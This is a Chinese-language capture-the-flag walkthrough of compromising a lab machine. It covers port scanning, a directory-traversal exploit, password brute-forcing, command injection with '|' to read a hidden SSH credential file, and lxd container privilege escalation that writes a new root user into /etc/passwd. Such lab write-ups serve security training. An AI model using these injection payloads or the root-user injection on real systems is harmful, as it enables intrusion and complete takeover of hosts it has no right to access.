nmap -A -p- 192.168.149.178

image.png
image.png

访问页面啥也没有

image.png
image.png

发现有一个上传的地方被注释掉了,抓包的时候改掉它,得到一个上传点,但是不知道路径

image.png
image.png

扫目录,扫出来一个 download.php,然后去试了试上面导航栏的名字,viewing.php 也可以访问,deleting.php 会跳转回来(可能是删完了跳回来了?)

image.png
image.png

https://www.exploit-db.com/exploits/40009
这里有个目录遍历,使用 file_name 参数,看一下 apache 的认证文件

image.png
image.png

靶机介绍说用这个字典来爆破密码
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt

瞬间出结果 aiweb2admin:c.ronaldo

image.png
image.png

然后用 dirsearch 扫出来 webadmin(嗯,我以后还是直接用 dirsearch 把)

image.png
image.png

访问 http://192.168.149.178/webadmin/ 用刚刚爆破出来的密码登录进去

又提示了 robots,去访问一下
Disallow: /H05Tpin9555/
Disallow: /S0mextras/

挨个访问,第一个有一个命令执行,用 | 可以绕过

image.png
image.png

使用 127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/ 看一下有没有什么隐藏的文件

image.png
image.png

127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt 拿到 ssh 账号密码

image.png
image.png

User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

ssh 连上看看

image.png
image.png

提权

用一下 https://github.com/rebootuser/LinEnum 试试,一直看一些 wp 用还没用过
直接 git clone https://github.com/rebootuser/LinEnum 然后进去给 LinEnum.sh 权限运行就可以

image.png
image.png

当前用户 n0nr00tuser 是属于 lxd 的用户组成员

LXD 和 LXC
Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于 Chroot 和完整开发的虚拟机之间,LXC 可以创建一个跟正常 Linux 操作系统十分接近的环境,但是不需要使用到单独的内核资源
Linux Daemon(LXD)是一个轻量级容器管理程序,而 LXD 是基于 LXC 容器技术实现的,而这种技术之前 Docker 也使用过。LXD 使用了稳定的 LXC API 来完成所有的后台容器管理工作,并且增加了 REST API 支持,更进一步地提升了用户体验度
https://www.freebuf.com/articles/system/216803.html

依次执行这些语句

1
2
3
4
lxc start UbuntuMini
lxc config set UbuntuMini security.privileged true
lxc config set UbuntuMini security.nesting true
lxc config device add UbuntuMini sharetesting disk source=/etc path=/sharingiscaring

然后,复制 /etc/passwd 到当前目录 passwd,然后把这一句加进去
echo 'hack:$1$hack$gP1TCDm4c1ABbBzR6fMid1:0:0::/root:/bin/bash' >> passwd
这里添加了一个有 root 权限的用户:hack,密码是:yichen
可以用这条命令生成 hash
openssl passwd -1 -salt hack yichen

然后把 passwd 传到容器里面
lxc file push passwd UbuntuMini/sharingiscaring/passwd

如果显示没有权限可以用 python -c "import pty;pty.spawn('/bin/bash')" 开一个 bash 的 shell

image.png
image.png